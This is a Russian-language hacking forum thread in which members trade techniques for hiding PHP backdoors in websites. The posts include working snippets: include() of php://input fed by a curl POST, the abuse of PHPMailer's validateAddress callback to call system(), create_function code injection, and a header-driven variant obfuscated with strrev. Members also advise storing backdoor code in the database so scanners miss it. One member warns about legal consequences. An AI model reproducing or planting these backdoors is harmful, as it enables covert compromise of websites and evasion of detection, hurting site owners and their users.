Хитрый код с участием usort

Discussion in 'PHP' started by Dreamer333, 27 Dec 2018.

  1. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    828
    Likes Received:
    815
    Reputations:
    90
    поток php://input тоже файл, allow_url_fopen не обязателен
    Code:
    $ curl zzzzzzzz.ru/z.php --data '<?php print file_get_contents("z.php");/*&cmd=php://input&q=*/?>' 
    
    <?php
    
    include($_POST['cmd']);
    
     
    _________________________
    b3 likes this.
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Хитрые бекдоры, на мой взгляд, это те, которые используют легитимный функционал движка в своих целях. В текущих реалиях, когда на 100 строк PHP кода тянется десяток мегабайт либ, сделать это проще простого.

    Возьмём, к примеру, PHPMailer, который есть практически везде. Несколько минут изучения и находим удобный статический метод:
    PHP:
    public static function validateAddress($address$patternselect null)
       {
           if (
    null === $patternselect) {
               
    $patternselect = static::$validator;
           }
           if (
    is_callable($patternselect)) {
               return 
    call_user_func($patternselect$address);
           }
           
    //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
           
    if (strpos($address"\n") !== false or strpos($address"\r") !== false) {
               return 
    false;
           }
           switch (
    $patternselect) {
               case 
    'pcre'//Kept for BC
               
    case 'pcre8':
                   
    /*
                    * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL
                    * is based.
                    * In addition to the addresses allowed by filter_var, also permits:
                    *  * dotless domains: `a@b`
                    *  * comments: `1234 @ local(blah) .machine .example`
                    *  * quoted elements: `'"test blah"@example.org'`
                    *  * numeric TLDs: `[email protected]`
                    *  * unbracketed IPv4 literals: `[email protected]`
                    *  * IPv6 literals: 'first.last@[IPv6:a1::]'
                    * Not all of these will necessarily work for sending!
                    *
                    * @see       http://squiloople.com/2009/12/20/email-address-validation/
                    * @copyright 2009-2010 Michael Rushton
                    * Feel free to use and redistribute this code. But please keep this copyright notice.
                    */
                   
    return (bool) preg_match(
                       
    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                       
    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                       
    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                       
    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                       
    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                       
    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                       
    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                       
    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                       
    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                       
    $address
                   
    );
               case 
    'html5':
                   
    /*
                    * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                    *
                    * @see http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                    */
                   
    return (bool) preg_match(
                       
    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                       
    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                       
    $address
                   
    );
               case 
    'php':
               default:
                   return (bool) 
    filter_var($addressFILTER_VALIDATE_EMAIL);
           }
       }

    По сути, хитрый код уже написан, остаётся только использовать:
    PHP:
    PHPMailer::validateAddress('ls -la''system');
    PHPMailer::validateAddress($_REQUEST['arg'], $_REQUEST['callback']);

    На оригинальность не претендую, так как опыта в бекдоринге абсолютно нет, это лишь моё скромное видение.
    Возможно, есть какие-то инновации в индустрии, очень надеюсь на местных крутых блекхетов, которые кричат о своей принадлежности при каждом удобном случае. Ребята, жгите :)

    Но обязателен allow_url_include :(
     
    dooble, t0ma5 and Dreamer333 like this.
  3. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Из всего вышесказанного, сначала хочу сказать спасибо всем (троим :)) ответившем на глупые вопросы. По кол-ву своих знаний, и в силу своих возможностей, я понял что мною новый велосипед изобретен не будет), но интересуют два вопросы. Сейчас есть
    Code:
    Deprecated</b>:  Function create_function() is deprecated
    на пыхе 7.2.
    Если все же запилить
    Code:
        if (function_exists('create_function')) {
    create_function('', '};phpinfo();{');
    }
    
    И запустить в будущем на php 8.стопиццот
    вывалится ли error, при error_reporting (0); с ссылкой на номер строки,
    или просто молча выполнится остальной код?
    И второе: как логично использовать
    PHP:
    $x $_GET['x'];
    $y $_GET['y'];
    $x($y); 
    при отключенном ассерте например.
     
  4. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    http://php.net/manual/ru/errorfunc.constants.php
    такое уже можно и самому погуглить, хек такая сфера где умение гуглить (ресерчить) это большой плюс
     
  5. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Где хек где я, я вас умоляю) Это я вкурсе. Вопрос не в том. К примеру если запустить функцию preg_replace_callback, на версии php 4.5, получим parse error. Интересует вылезет ли он на версии 8.5 где create_function будет отключен. Или в силу того что функцию только отключат, но синтаксис останется, код просто будет не выполнен.
     
  6. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Немного не так.
    Это основы, почти как таблица умножения, поэтому давайте вспомним чуть точнее.

    http://php.net/manual/ru/filesystem.configuration.php
    allow_url_fopen - разрешает работу с врапперами, в т.ч. и с php://, как с обычными файлами.
    allow_url_include - позволяет использование оберток в функциях include и требует включения опции allow_url_fopen.

    http://php.net/manual/ru/wrappers.php.php
    Для php://input есть ограничение по allow_url_include .

    Т.е. нужны оба условия (т.к. второе требует включения первого)
    allow_url_fopen = true
    allow_url_include = true

    php://input - классная штука, но в дефолтных конфигурациях php не работает, начиная с версии 5.2.

    Можно посмотреть на результат выполнения ereg()
    Эта функция объявлена УСТАРЕВШЕЙ в PHP 5.3.0, и УДАЛЕНА в PHP 7.0.0.

    Code:
    ereg('z', 'zxc');
    Fatal error: Uncaught Error: Call to undefined function ereg()
     
    BabaDook, crlf and Dreamer333 like this.
  7. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Какой день бьюсь над заменой create_function, анонимной функцией.
    Кто нибудь может предложить аналог в виде анонимной функции для кода
    PHP:
    $c = <наш код>;
    $func create_function(''"echo $c;");
    $func(''); 
    Или такой финт тут уже не сработает?
     
  8. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    create_function сама по себе паливо
     
  9. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    174
    Reputations:
    119
    Ага, жгите ребят. Пишите какие уникальные векторы вы юзаете, чтобы сопоставить взломанные сайты с вашим профилем, и семья вас гарантированно не дождется ;)

    По теме, любое использование _(GET|POST|COOKIE|REQUEST) в 2019 году уже не катит, всё палится кучей инструментов. php://input хорошее решение, но его надо уметь маскировать под современные реалии.
    А вообще, рекомендация. Изучайте сайт на предмет хранения исполняемого кода в базе, это самый беспалевный вариант для бекдоров.
     
    crlf likes this.
  10. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Все зависит от ситуации и веб-приложения, если в двиге активно используются POST запросы то почему бы и не забэкдорится в них? А ваш врапер имеет зависимости. Хранить тело бэка или шела в бд не инновация но один из моих любимых способов, тоже рекомендую)
     
    crlf likes this.
  11. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    В случае успеха, очень хотелось бы на это посмотреть )

    Она сама хорошо исполняет код :)
    PHP:
    create_function('''}echo "blabla";//');
    Завернуть можно как-то так:
    PHP:
    //PHP 7.2.13 :(
    @strrev(noitcnuf_etaerc)($HI$_SERVER[HTTP_I_AM_A_COOL_HACKER]);
    Подробнее:
    https://rdot.org/forum/showthread.php?t=738
    https://rdot.org/forum/showpost.php?p=36766&postcount=90

    В общем, интересные методы, без участия функций (assert) или конструкций (eval, curly syntax) для выполнения кода, есть, например spl_autoload и т.п. штуки. Но любой нормальный анализатор, который разбирает код на токены, опасные участки найдёт. Поэтому, с вертухана, нужно сразу впиндюривать руткит! :D

    Негоже коллеге по цеху инструмент зажимать ;)
     
    #31 crlf, 3 Jan 2019
    Last edited: 3 Jan 2019
    dooble, Dreamer333 and BabaDook like this.
  12. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    174
    Reputations:
    119
    Коллеги разные бывают. Сейчас какой нибудь начинающий блекхет по глупости выложит свой уникальный вектор, которым он троянит сайты, и "коллеги" его с радостью отправят в "роскомнадзор". Античат явно не место для этого, см. шапку сайта.
    Новичкам в "этичном пентесте" об этом всегда необходимо помнить.
     
    dooble likes this.
  13. Dreamer333

    Dreamer333 New Member

    Joined:
    19 Feb 2013
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Вот в пыхе 7.2 и вся беда) spl_autoload начал изучать, интересная фича, спасибо. А на счет "коллеги по цеху", так шутка смешная) Изучаю что то новое для себя, пока праздники и еще не пора на завод). И как подметил Gorbachev - смотрю в сторону Этичного хака. Оооочень далекий от тем античата, и людей которые здесь. Спасибо всем откликнувшимся.
     
    dooble likes this.
  14. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    828
    Likes Received:
    815
    Reputations:
    90
    зануда :)
    вектор с врапперами мало кто использует, я не исключение, опции "allow_" просто часто включены по дефолту

    ---

    спасибо за инфу, я запомню :)
     
    _________________________
    dooble likes this.